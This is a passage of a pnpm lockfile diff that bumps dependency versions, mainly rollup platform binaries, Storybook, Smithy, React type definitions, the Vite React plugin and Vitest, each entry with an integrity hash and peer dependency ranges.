+
   '@rollup/rollup-freebsd-arm64@4.62.4':
     resolution: {integrity: sha512-GUOnQlyZe3yAXhWOtOMsn5Qkrv5E5mZXa0thbARWi5Ei2szlVXJFQhddZ4HbAzh8q92w5twp+CQvs/eFanz9YQ==}
     cpu: [arm64]
     os: [freebsd]
 
+  '@rollup/rollup-freebsd-arm64@4.62.5':
+    resolution: {integrity: sha512-2fST8lILgl7cKbme/1KDdPCmbXbG+gqoV3bHp19L0ypX/3akYMBVdOunPleRCwonoLnXOZ/0F+Mt/v8POFmfcQ==}
+    cpu: [arm64]
+    os: [freebsd]
+
   '@rollup/rollup-freebsd-x64@4.62.4':
     resolution: {integrity: sha512-/Y7f3QuxjzPKsjA/rfEDa3+0vXqyjmJ50Ln8dPpCmWkKTrUoWHG1cWhTqaAMLob2m2nESWuC7yGrREz019Ztqg==}
     cpu: [x64]
     os: [freebsd]
 
+  '@rollup/rollup-freebsd-x64@4.62.5':
+    resolution: {integrity: sha512-cpIxQCP9J+EVad0a6LO1kY3ZGODlk80VlI+2I96B8xMcdHZ4pLVhfQ49JFpYqjPF91FFkQWftf57YlDcTiw9yQ==}
+    cpu: [x64]
+    os: [freebsd]
+
   '@rollup/rollup-linux-arm-gnueabihf@4.62.4':
     resolution: {integrity: sha512-81wiiX3v7aqy+T+bT61TJ78yJjRquqFFTTbAPt08imfQQzkPIW8t6aJbkTagtCCrXMNc9D66+geqlK7ydLPNqA==}
     cpu: [arm]
     os: [linux]
 
+  '@rollup/rollup-linux-arm-gnueabihf@4.62.5':
+    resolution: {integrity: sha512-r9fGh3eFs3e/udWh5ZjXQtxiYK/xoFxQaYR/cELxac/Udkl5Th+IsFm0CX3Kl9hmUH/we7EoMpjJgeQNnE0+IA==}
+    cpu: [arm]
+    os: [linux]
+
   '@rollup/rollup-linux-arm-musleabihf@4.62.4':
     resolution: {integrity: sha512-9kmDIvNZqdoHOBZgNtpTBeLWYO/LVipM3H/j62P8848/l/VPEQL6N3uxU9pvP1oZAsXyC2MEnFP3ovRjo7WYNQ==}
     cpu: [arm]
     os: [linux]
 
+  '@rollup/rollup-linux-arm-musleabihf@4.62.5':
+    resolution: {integrity: sha512-xdvFdp7OM6KLJviJT2g/YuRSUjnZgGHk4RNgwIbN7X6cPugOucV60DdHXWzsBVCUdrGb6qSXnJQrrAKMmQuj3Q==}
+    cpu: [arm]
+    os: [linux]
+
   '@rollup/rollup-linux-arm64-gnu@4.62.4':
     resolution: {integrity: sha512-CcnXHWnXg69g+DX5VWL3FHts3qMRN2uVEHX+BZvGLdd07/gXkn3ePjYtO1LDJvxkGKVHMclKBRa1QUTH+6toYQ==}
     cpu: [arm64]
     os: [linux]
 
+  '@rollup/rollup-linux-arm64-gnu@4.62.5':
+    resolution: {integrity: sha512-rRqILAndyzHzP7T9NFQrq+4HFWNhqkqkKur7eiBpfLmz01PO0JKx5Vchu3YllE4YXI/Ftgq/szrDWg5GJ0mI8g==}
+    cpu: [arm64]
+    os: [linux]
+
   '@rollup/rollup-linux-arm64-musl@4.62.4':
     resolution: {integrity: sha512-iFOibiHnTRuhrWLlRsOQFdZJJIa7S8OwkneJr4ocALP16u5yk6lWLINFwhHaEqBFMsKDUZofLkGos7+CPzGB3g==}
     cpu: [arm64]
     os: [linux]
 
+  '@rollup/rollup-linux-arm64-musl@4.62.5':
+    resolution: {integrity: sha512-Gf4X3qVMucayUvux6aXXPgXovocSFUC0rrffDuPI/S2nHhNMhjcZxsrAFYCOF350PRreW1XwzFj3CT/3bKsWCw==}
+    cpu: [arm64]
+    os: [linux]
+
   '@rollup/rollup-linux-loong64-gnu@4.62.4':
     resolution: {integrity: sha512-XnWYMI7euHlb5a871xPja+Gm7DRCFU+FGRrtS2sMq9N8FvqtpagUy6gD4YOemC5MRk9xbh8+jYMEJbigFQwsgA==}
     cpu: [loong64]
     os: [linux]
 
+  '@rollup/rollup-linux-loong64-gnu@4.62.5':
+    resolution: {integrity: sha512-+s5qA0TNM0qm8PK/a5gt/1Hpx+NV08uSuCncvhziIlQzT6AEV2fnUQo7eBtFTFO0nA9scauvoR2HusfXmQnO4w==}
+    cpu: [loong64]
+    os: [linux]
+
   '@rollup/rollup-linux-loong64-musl@4.62.4':
     resolution: {integrity: sha512-qGDAlO0U8xedCcsdRm9oaoQY8DAx/QT7uIxJWhCdx0ceIWX783UC9QSYkdpzAe29wNiVfp24+bZdQmn49o45SQ==}
     cpu: [loong64]
     os: [linux]
 
+  '@rollup/rollup-linux-loong64-musl@4.62.5':
+    resolution: {integrity: sha512-ybb6QvWwWJCbBWqERpc8K3pYVGIrXlG8MEQ8IIuJY6Y9KdHQxoFoNyfkAOtKn1VHu3KuLidXvwrvGR1mEjeWCw==}
+    cpu: [loong64]
+    os: [linux]
+
   '@rollup/rollup-linux-ppc64-gnu@4.62.4':
     resolution: {integrity: sha512-ru4H6ezD7ysA5EiEK6qkkaEb4modH8CTej6kUy/gQi20u3kB3G7Zn8snXXkeJSCOFKG/rbPPtM/+9Wgas1961w==}
     cpu: [ppc64]
     os: [linux]
 
+  '@rollup/rollup-linux-ppc64-gnu@4.62.5':
+    resolution: {integrity: sha512-nZb1DtnOyhCmYvsC8A2CwOkopVg+IS1+fPUa7rMOAXtNw5+lLCLLPqd6XAiNrGtoQKsbvIBOwsHnBH/3wnb4HQ==}
+    cpu: [ppc64]
+    os: [linux]
+
   '@rollup/rollup-linux-ppc64-musl@4.62.4':
     resolution: {integrity: sha512-2W4MO5WQVJnbJaZdvDb9rhBDuFU1nKIepPFpJUBsTh2k1YY2g+ODViaWuyOAjQ5cOP7NvrvLzt3wvHOoiAvc7w==}
     cpu: [ppc64]
     os: [linux]
 
+  '@rollup/rollup-linux-ppc64-musl@4.62.5':
+    resolution: {integrity: sha512-yMbj63Sp89ryrXLWyz+sy+fYD2HpOnMCLGbe4Oa1smclFSUukdtD/BgdiHaAetJNb74URD8U4hM+qG5KVzMEkg==}
+    cpu: [ppc64]
+    os: [linux]
+
   '@rollup/rollup-linux-riscv64-gnu@4.62.4':
     resolution: {integrity: sha512-+fxjfuoAmVMCYV5QyjoIpu0cp5DOiOTeqYFk1AVaxGr+/ravWLX89XfQmptsoWcaVy/TGf2hexzbUOrCQIL1CQ==}
     cpu: [riscv64]
     os: [linux]
 
+  '@rollup/rollup-linux-riscv64-gnu@4.62.5':
+    resolution: {integrity: sha512-mhoan3OJw2kYV/e1jtIdmvUZgyBFeA6zGWsOswmR0Tg19TQbowZuR+JMLID6spbbBN7Zee2ejrgmy3+FxGrIdA==}
+    cpu: [riscv64]
+    os: [linux]
+
   '@rollup/rollup-linux-riscv64-musl@4.62.4':
     resolution: {integrity: sha512-jTn8JfHGL4djjFxPuM06LmNUJDsst2jeVlsd9OmIH6zc5sC9K6rIuO4YajXatLUpBmBKl6b35ro1QZocLi+tcA==}
     cpu: [riscv64]
     os: [linux]
 
+  '@rollup/rollup-linux-riscv64-musl@4.62.5':
+    resolution: {integrity: sha512-5ZTLmjWbb1VZdjuyhe83K/8QO0/h11midQCBP+X5OYn32ra7eOBoM0ZqtaY4nkgNsYgmdVhMYPoyVPTjUpHf3w==}
+    cpu: [riscv64]
+    os: [linux]
+
   '@rollup/rollup-linux-s390x-gnu@4.62.4':
     resolution: {integrity: sha512-oCJCJL4pXsoDcP2QZ+JVlPTIRc6266zsIaeJJsWImmF7HO0W8nb6HuSgZlMWxJwaPf8ehbSw8yo0EUw925hKsA==}
     cpu: [s390x]
     os: [linux]
 
+  '@rollup/rollup-linux-s390x-gnu@4.62.5':
+    resolution: {integrity: sha512-m53kG+br6PGxOTmgBEM2DHSDs9RVjsyEbUwjJPJGTFm1grWOG8EKJggDCTb60unD4Tjby8fi7/m9XfkEWasVWg==}
+    cpu: [s390x]
+    os: [linux]
+
   '@rollup/rollup-linux-x64-gnu@4.62.4':
     resolution: {integrity: sha512-W69hukhZ3KKNRCaMIEzKvcFye42hh0FE1+YoYaf5+Ikacuftoco6yO/xouz0hc5d5W/s3yBro5jRiuEE/Q5vUw==}
     cpu: [x64]
     os: [linux]
 
+  '@rollup/rollup-linux-x64-gnu@4.62.5':
+    resolution: {integrity: sha512-6RHPJR1g/uvdYU8uXBnfq3nlqyZCP82Fr6NHgfGoaIeSh0YEqnX/x6uA9MmJJbnSH7swqX4F+CkGdUF+6doiQA==}
+    cpu: [x64]
+    os: [linux]
+
   '@rollup/rollup-linux-x64-musl@4.62.4':
     resolution: {integrity: sha512-qiXbGG2jkjXhzXpsFZSR2Xpb8DN/UaxYsbb/STbuR/6fpaDgRmmaq1B/LmtF2wQFOFOSsK2jdE0RZ3a0zHn4QA==}
     cpu: [x64]
     os: [linux]
 
+  '@rollup/rollup-linux-x64-musl@4.62.5':
+    resolution: {integrity: sha512-xs+OXQtEXgpXT0DmA5+U3qnRZHdCST/5HRQxS8wSPZTUZN/EMWeHuSIod32LQklTBZBV9DyfncKBQ8n5V3eFdw==}
+    cpu: [x64]
+    os: [linux]
+
   '@rollup/rollup-openbsd-x64@4.62.4':
     resolution: {integrity: sha512-nWeM//hxv8mIo6jD7Hu4o48DVmV9pbV6gsKaWU+4NFyqHoPKwrkRiZGLKUhOBk8qNmDmpwFtPKg80Bo/Tn4xiQ==}
     cpu: [x64]
     os: [openbsd]
 
+  '@rollup/rollup-openbsd-x64@4.62.5':
+    resolution: {integrity: sha512-e7hD+sl3s+mcLQDZ8pbudBVsdG6r5yN4w3LqG2TJ8sQHDpblWj5lrJs/3m01Cvlxbt4x13zu5thLjgypgtkYzw==}
+    cpu: [x64]
+    os: [openbsd]
+
   '@rollup/rollup-openharmony-arm64@4.62.4':
     resolution: {integrity: sha512-s62SQ/vgsRSvMwDkOEfTqfgASF0f26ZNaQuTA6Aok5lrikf89yI2W0gFHvZb2Jpgc6N8JnOKZgCK2iciO3CsxQ==}
     cpu: [arm64]
     os: [openharmony]
 
+  '@rollup/rollup-openharmony-arm64@4.62.5':
+    resolution: {integrity: sha512-GiyJaCf+WpMub/17aPcKk27QMl5W6f+KhdPTjlFOn5akH5Wa/DCM9Stdx5cDfmasyKB08MqpVQ1uJE2RkkpbXg==}
+    cpu: [arm64]
+    os: [openharmony]
+
   '@rollup/rollup-win32-arm64-msvc@4.62.4':
     resolution: {integrity: sha512-J6wGf8TVGbXJq+HH+ttTvrcfNKPbuZecV6KT1B8I18BC5IURUh5kl4Yl5OEP5eFIUoI5BWxCsyYMhFsDx8kekw==}
     cpu: [arm64]
     os: [win32]
 
+  '@rollup/rollup-win32-arm64-msvc@4.62.5':
+    resolution: {integrity: sha512-+OQ8U2DdoEfXl8T4Fb18AjmEwbXMerKDKCL8yCPAYhKCEEKoul7rkbeGCBFCbAlaGaa7pmtRTpkAJM2LE/i5FA==}
+    cpu: [arm64]
+    os: [win32]
+
   '@rollup/rollup-win32-ia32-msvc@4.62.4':
     resolution: {integrity: sha512-zmfrQd/0wu6oJs8Vq8KwY/YtsKSsLtKe/HwAP4Wqy8LhWjeT55fHRAkOhYQ12wI3ayS4Tt12d5CDRD7N96SAYQ==}
     cpu: [ia32]
     os: [win32]
 
+  '@rollup/rollup-win32-ia32-msvc@4.62.5':
+    resolution: {integrity: sha512-KanvAZrPKbDBFwrgiU9yEVpQoox9QPV1WZOXX7HudJQY+eSlu82CtWxDU8WtuRRvtN5EGkLczkd6Y6DTcvm9wA==}
+    cpu: [ia32]
+    os: [win32]
+
   '@rollup/rollup-win32-x64-gnu@4.62.4':
     resolution: {integrity: sha512-qPzHqdj9rfUD+w79dtE07zi/kFwKyCJqplp5K5ygeLTp7jLpAoc16OAH39HSmRC9UpozaecsleI8uAdEj6v2yw==}
     cpu: [x64]
     os: [win32]
 
+  '@rollup/rollup-win32-x64-gnu@4.62.5':
+    resolution: {integrity: sha512-1aC3UEWTtRl3RK3VpDJ/Tqk1XI4SLTmXIthAq6wRWo8XiSXJNd+VprJM4/1P4+i6HIaFEFlVi9sTTziniD2tOQ==}
+    cpu: [x64]
+    os: [win32]
+
   '@rollup/rollup-win32-x64-msvc@4.62.4':
     resolution: {integrity: sha512-zD6NdeWEByGE9QF9vCrlJ5YQB4oq9q91kPZS37Jwj5hOkvR1lTBSpsKhKDw4IJtbQ35LsTS1HD9DZYGKIshU1Q==}
     cpu: [x64]
     os: [win32]
 
+  '@rollup/rollup-win32-x64-msvc@4.62.5':
+    resolution: {integrity: sha512-/gDJaRs4gl0NPIwqCz+6PkpmhhjRAD2j6P4rSNHBzUkO3naEx2mIU0pRle1vUNRQ7mE/+8OOeXLTv/J56FKiQg==}
+    cpu: [x64]
+    os: [win32]
+
   '@shikijs/core@4.3.0':
     resolution: {integrity: sha512-EooU3i9F6IAE8kEu+AnGf9DFZWkQBZ+hJn3tLVbsH+61mtQiva5biai66fAA6nvFPXkLgvrh7BrR7YcJU83xQQ==}
     engines: {node: '>=20'}
@@ -4689,28 +5029,28 @@ packages:
   '@shikijs/vscode-textmate@10.0.2':
     resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==}
 
-  '@smithy/core@3.32.0':
-    resolution: {integrity: sha512-NAiCSC78fzbNIEWoheoF74Ob5ZorLijCHpMY26Fqvqg/+9LuyIqMfHDg2p8Yk1rqOyowtiL3y7WX0AW+teL6zw==}
+  '@smithy/core@3.33.2':
+    resolution: {integrity: sha512-CUGXpnPkVdjUCbix+83sWLW9VFgQOm44MDOx/ihITJMAnOZKvL8YYIc7DR9pP/tZ8CIRvMiON/TucvygqbHO3w==}
     engines: {node: '>=18.0.0'}
 
-  '@smithy/credential-provider-imds@4.5.0':
-    resolution: {integrity: sha512-2jsPi+7Zv2hSzD9IXR9D7DTqSn7mv4XalzRm+bESh53jiaUS3NKEUbpQFTJP0HhQy9qzZvluxQ3yS24zdRrqsA==}
+  '@smithy/credential-provider-imds@4.5.2':
+    resolution: {integrity: sha512-A9uSdn72ozbRUSit0eib0TW7nXuNPlaeM0zcGkJ+nE6tFcSDbnmtwoxbTCFBukVQcszDAyvsd7+rTduPTXpygg==}
     engines: {node: '>=18.0.0'}
 
-  '@smithy/fetch-http-handler@5.7.0':
-    resolution: {integrity: sha512-W/exA8T0LEzCQtJ02w4IzaEQPIspgarqZprb7W8FwnYiDowgCrjl2fTQ6FvuSSUnJORuepBF81abmBJwqh+0XQ==}
+  '@smithy/fetch-http-handler@5.7.2':
+    resolution: {integrity: sha512-nZyWTmSpJEXl6VtWVMBJve/7x12DZu6sIX1z1a+ZMaHlQQRs9Zpu6NbTe/gmxYXVRpkjxyDYpZ5gx2IM6f/Wkw==}
     engines: {node: '>=18.0.0'}
 
-  '@smithy/node-http-handler@4.10.0':
-    resolution: {integrity: sha512-nrh7VxqzPQS/ip1hS293aI/OAWDWARQvjUxCfuKhyrfHa2gTdk28066RNeWLI1uuoHXaKAkOF8IcSAHuOp0+SA==}
+  '@smithy/node-http-handler@4.11.2':
+    resolution: {integrity: sha512-avwAh9HM3h2lcfjvP3zYIZGf+XVgLQ91wOJ2qoFbNpW1UZeZb33aGlhTZvtkANHfcGhJroRY64525OjfgOg30g==}
     engines: {node: '>=18.0.0'}
 
-  '@smithy/signature-v4@5.7.0':
-    resolution: {integrity: sha512-hCynhm22wMJ8wTF9crcwu8mxggtUrSLLJgDcGUvYFBqpofxycYJCGKOMYg4xtPPFtgNiDJSYmhsWLTrcU/g59Q==}
+  '@smithy/signature-v4@5.7.2':
+    resolution: {integrity: sha512-P7Ki6px6OOrxVtx8K7nLmyx4SlXUW/uTKDdMG44UHefmPGSRMBKe2v+TM59WdLcpUIrBrnuCsIqiM2MbsZjmhw==}
     engines: {node: '>=18.0.0'}
 
-  '@smithy/types@4.17.0':
-    resolution: {integrity: sha512-Aw4joiM0ZdErpo39lCj8phT2lxoiKZV+KZzBxnnQhWVtU2Is/WffQSL04uUWRcXUse9Ln8vXZK6V/FwqRVnQpg==}
+  '@smithy/types@4.17.2':
+    resolution: {integrity: sha512-FOKpVZob9MPTn2znRzGrnsMHv7BOsKVw3XiP/cOyYLDVZ9qKp4nifIiSCuUU/fIj5Vu0UOAxCFr+qRAtG0NUkA==}
     engines: {node: '>=18.0.0'}
 
   '@standard-schema/spec@1.1.0':
@@ -4725,32 +5065,32 @@ packages:
   '@stitches/core@1.2.8':
     resolution: {integrity: sha512-Gfkvwk9o9kE9r9XNBmJRfV8zONvXThnm1tcuojL04Uy5uRyqg93DC83lDebl0rocZCfKSjUv+fWYtMQmEDJldg==}
 
-  '@storybook/addon-a11y@10.5.4':
-    resolution: {integrity: sha512-UWdZtB7Dh1GjqxTPOrisUNDhDGF5pKGzZdzW9DSSHMBcAOx2dsTmXGzLSFprAz4LTT0OHCtKhxNqKK0JZJ0Y8g==}
+  '@storybook/addon-a11y@10.5.8':
+    resolution: {integrity: sha512-yunl+sKa29NaUC3I4yjESwk6ED8waEgmmvIJzNAJvdhb7thFzZYYEld68RzKmOVcGBkD3snK5eZ/Xf0l4VWliQ==}
     peerDependencies:
-      storybook: ^10.5.4
+      storybook: ^10.5.8
 
-  '@storybook/addon-docs@10.5.0':
-    resolution: {integrity: sha512-kbZGdX+mysiY4xezhpcFEwzQ1zSXcMhSS3u09Qt8+w5XetCAMMSv/yAxzpi6z+YoH+EdQ53e1q3MFtPUkzkfUA==}
+  '@storybook/addon-docs@10.5.8':
+    resolution: {integrity: sha512-NlHiMKW/UvW/uL8HXFDCEVwoH3qZeGYZ/qlWax4d7H471b/T54MBq2KcB4ZrdA785FfIH3numAJdBb5jwn00Mg==}
     peerDependencies:
       '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
-      storybook: ^10.5.0
+      storybook: ^10.5.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@storybook/builder-vite@10.5.0':
-    resolution: {integrity: sha512-KXlifNIThDgS84KqVAJXyilool8OLTWp6DGoO9h5bHM2IPLe7UcdKfOzMUBkQ807mWBk4aW1yGEekj7kC2dvmg==}
+  '@storybook/builder-vite@10.5.8':
+    resolution: {integrity: sha512-UeRnn7yT55WmBlHNOQzLrvN7vsHEvVgIukhKDO+4cMbGXN87wZkbxhx6NstpuXRH8OxGqwKS0SZNVp+SC1ftLQ==}
     peerDependencies:
-      storybook: ^10.5.0
+      storybook: ^10.5.8
       vite: ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
 
-  '@storybook/csf-plugin@10.5.0':
-    resolution: {integrity: sha512-R7VFw6FnDZTWct0ekOcFnTfDgdHnnAuQW+AbGG9A9IZPvyH9uLJivK7L86+r9MITRrO2+v81HaFDsT/OFk6ZkQ==}
+  '@storybook/csf-plugin@10.5.8':
+    resolution: {integrity: sha512-/FHiMyOWWEXfwK/lM0WxmkP9GLzbSJJuzGtfeuNWSOVDnvAMbjavitxfHb5wSbWKIQo0XYC1EJ2Y7x91XNYP4w==}
     peerDependencies:
       esbuild: '*'
       rollup: '>=4.59.0'
-      storybook: ^10.5.0
+      storybook: ^10.5.8
       vite: '*'
       webpack: '*'
     peerDependenciesMeta:
@@ -4769,42 +5109,42 @@ packages:
   '@storybook/icons@2.1.0':
     resolution: {integrity: sha512-Fxh9vYpX9bQqFeHRiY8h2ApeRGDzRSMLwJwNZ/AIRqnyOKHxRKL+yFe+ctEkVJmuptRE9u1Hrn8ZZNHyfDKKNg==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
-  '@storybook/react-dom-shim@10.5.0':
-    resolution: {integrity: sha512-GwGA6zDj4Cfw6vGsdfPKfF39L0W6solNbbnjdjGa57m2ooASkidLhrXo2wgC9wh3o/jcfonmYPDRGY6sEhGDtg==}
+  '@storybook/react-dom-shim@10.5.8':
+    resolution: {integrity: sha512-N8D13/Xny+V3kfe1KBgsAHS0nKWXLLdgOOXS9poKdYzVwVCN+CGEGBxWX0zMMtdCptqa6/57em9coPlZMoO+bg==}
     peerDependencies:
       '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
       '@types/react-dom': ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
-      react: ^19.2.7
-      react-dom: ^19.2.7
-      storybook: ^10.5.0
+      react: ^19.2.8
+      react-dom: ^19.2.8
+      storybook: ^10.5.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@storybook/react-vite@10.5.0':
-    resolution: {integrity: sha512-d9n/I3pViscXpJYT9JHxcpxVSam14HsHOr2wBqTQTiRtaiH4xSsT00HTEGm6CEZTyq/npTJyV0Qday9XhrtiDQ==}
+  '@storybook/react-vite@10.5.8':
+    resolution: {integrity: sha512-ioMJGi4YzueGsJBlYio+2+UhfCFB9QV5Bs1lOilkek+a4BZgKJl0D1mVSJl6k96stQBPZmLgI9/l0hLVcUL6Kg==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
-      storybook: ^10.5.0
+      react: ^19.2.8
+      react-dom: ^19.2.8
+      storybook: ^10.5.8
       typescript: '>= 4.9.x'
       vite: ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
     peerDependenciesMeta:
       typescript:
         optional: true
 
-  '@storybook/react@10.5.0':
-    resolution: {integrity: sha512-2IhddiREy7NqAqnFsEOfW6HBG7azIcLxhRQYploSsaemOncR29xhzvAZsG+xlWgrtvxv4h3fYQTTR4TNn8CgPQ==}
+  '@storybook/react@10.5.8':
+    resolution: {integrity: sha512-6qqkmqX6imtL+0Z9Uan2tIfYivOI0FiVmWr0zpqqQR15AkJ18JfNcNTQoyjeAlCO0Kei56SWqnu2qLq52TYplg==}
     peerDependencies:
       '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
       '@types/react-dom': ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
-      react: ^19.2.7
-      react-dom: ^19.2.7
-      storybook: ^10.5.0
+      react: ^19.2.8
+      react-dom: ^19.2.8
+      storybook: ^10.5.8
       typescript: '>= 4.9.x'
     peerDependenciesMeta:
       '@types/react':
@@ -4915,7 +5255,7 @@ packages:
   '@tanstack/react-query@5.101.4':
     resolution: {integrity: sha512-yRg2pfOCxIs4ZJW3XYYHU/WgtD04FHSnfHlpRT7h7pR77hwkdRG4wxbKe4aq6P0RvXUTBSQpQeadS1SUYUe+KA==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@testing-library/dom@10.4.1':
     resolution: {integrity: sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==}
@@ -5088,8 +5428,8 @@ packages:
   '@types/http-errors@2.0.5':
     resolution: {integrity: sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==}
 
-  '@types/jsdom@28.0.0':
-    resolution: {integrity: sha512-A8TBQQC/xAOojy9kM8E46cqT00sF0h7dWjV8t8BJhUi2rG6JRh7XXQo/oLoENuZIQEpXsxLccLCnknyQd7qssQ==}
+  '@types/jsdom@30.0.0':
+    resolution: {integrity: sha512-uAHGxujGE0cDaKGdK28zgDotFtNA7MKq5DXl8LrfdxdCI8VHcg15oJz+amHTChPNI5JpgEPQWc2xFdrw3em/nQ==}
 
   '@types/mdast@4.0.4':
     resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==}
@@ -5106,8 +5446,8 @@ packages:
   '@types/multer@2.2.0':
     resolution: {integrity: sha512-3U1troeqGV8Ntp7Q3klwf4zr23VEoqYVocYXaswm9+8z3O9UHDYAqLxjJ/h550iRADTjKdOdhhasXw6gD6kYtg==}
 
-  '@types/node@22.20.1':
-    resolution: {integrity: sha512-EANqOCF9QFyra+4pfxUcX9STKJpCLjMbObVzljIJomAWSnuSIEAvyzEU53GaajbXJEgdh0iEcPL+DGvpUd4k1Q==}
+  '@types/node@24.13.3':
+    resolution: {integrity: sha512-Dh8vAsV36ig5wa9OX4pXvMc9D3Veibfw2wix0CUwYODLD8nkj9UsLjASr49nPg+2eKzxhBV+v7L8pXvT4e639Q==}
 
   '@types/node@25.2.3':
     resolution: {integrity: sha512-m0jEgYlYz+mDJZ2+F4v8D1AyQb+QzsNqRuI7xg1VQX/KlKS0qT9r1Mo16yo5F/MtifXFgaofIFsdFMox2SxIbQ==}
@@ -5118,13 +5458,13 @@ packages:
   '@types/range-parser@1.2.7':
     resolution: {integrity: sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==}
 
-  '@types/react-dom@19.2.3':
-    resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==}
+  '@types/react-dom@19.2.4':
+    resolution: {integrity: sha512-Bsc+QHgp+P/F02XDzNCY9jnZNCUuLki36KT7VKrTXXLdHf+vHMNZnW1rVu5DNW/rCK+fya3DATySbLM4yhtKUw==}
     peerDependencies:
       '@types/react': ^19.2.0
 
-  '@types/react@19.2.17':
-    resolution: {integrity: sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw==}
+  '@types/react@19.2.18':
+    resolution: {integrity: sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w==}
 
   '@types/resolve@1.20.2':
     resolution: {integrity: sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==}
@@ -5170,11 +5510,11 @@ packages:
   '@upsetjs/venn.js@2.0.0':
     resolution: {integrity: sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw==}
 
-  '@vitejs/plugin-react@4.7.0':
-    resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==}
-    engines: {node: ^14.18.0 || >=16.0.0}
+  '@vitejs/plugin-react@5.2.0':
+    resolution: {integrity: sha512-YmKkfhOAi3wsB1PhJq5Scj3GXMn3WvtQ/JC0xoopuHoXSdmtdStOpFrYaT1kie2YgFBcIe64ROzMYRjCrYOdYw==}
+    engines: {node: ^20.19.0 || >=22.12.0}
     peerDependencies:
-      vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0
+      vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
 
   '@vitest/expect@3.2.4':
     resolution: {integrity: sha512-Io0yyORnB6sikFlt8QW5K7slY4OjqNX9jmJQ02QDda8lyM6B5oNgVWoSoKPac8/kgnCUzuHQKrSLtu/uOqqrig==}
@@ -5182,6 +5522,9 @@ packages:
   '@vitest/expect@4.1.10':
     resolution: {integrity: sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==}
 
+  '@vitest/expect@4.1.11':
+    resolution: {integrity: sha512-VX2x5vNJXET47KAFzwERI+KRMtTTCSWTfSMKsW7JsUsXV4psq++e3DvZpuTDOpHcxytiDs6p2nhVb2tVDiiUYw==}
+
   '@vitest/mocker@4.1.10':
     resolution: {integrity: sha512-v0xaezt+DKEmKfaxg133ldzADrwLGd7Ze1MfQQTYfvs8OqZIwbxyxaYURivwV7sWy5fqn3rH5uOrSp07bp44Ow==}
     peerDependencies:
@@ -5193,30 +5536,56 @@ packages:
       vite:
         optional: true
 
+  '@vitest/mocker@4.1.11':
+    resolution: {integrity: sha512-2XJVD55d1o5AZous5CCGKS74g/riOj9odEt2bQpCVZeblHyHdnMeFl4jl0XjU21stf4mbjUkew2eXQZt65g5CQ==}
+    peerDependencies:
+      msw: ^2.4.9
+      vite: ^6.0.0 || ^7.0.0 || ^8.0.0
+    peerDependenciesMeta:
+      msw:
+        optional: true
+      vite:
+        optional: true
+
   '@vitest/pretty-format@3.2.4':
     resolution: {integrity: sha512-IVNZik8IVRJRTr9fxlitMKeJeXFFFN0JaB9PHPGQ8NKQbGpfjlTx9zO4RefN8gp7eqjNy8nyK3NZmBzOPeIxtA==}
 
   '@vitest/pretty-format@4.1.10':
     resolution: {integrity: sha512-W1HsjSH4MXQ9YfmmhLAoIYf1HRfekQCGngeIgcei6MP5QQGWUe0gkopdZQaVCFO+JDJMrAJGwa5pRpNpvy4P8Q==}
 
+  '@vitest/pretty-format@4.1.11':
+    resolution: {integrity: sha512-yiZzPbGTS9Sr/JpFl8zHrcIkAofNbFV6k21vIgQN/cY/oxZeXhJv5sc/MBJ5jFKWmWs+oJHw0UXLZjmf931+Vw==}
+
   '@vitest/runner@4.1.10':
     resolution: {integrity: sha512-IKI6kpIH+LmpROplyLwBBaCfMgOZOMsygVa6BARD6ahA04VRuJSa6OaVG7kRvSEMD870Vd91rSSw0eegtWyLGg==}
 
+  '@vitest/runner@4.1.11':
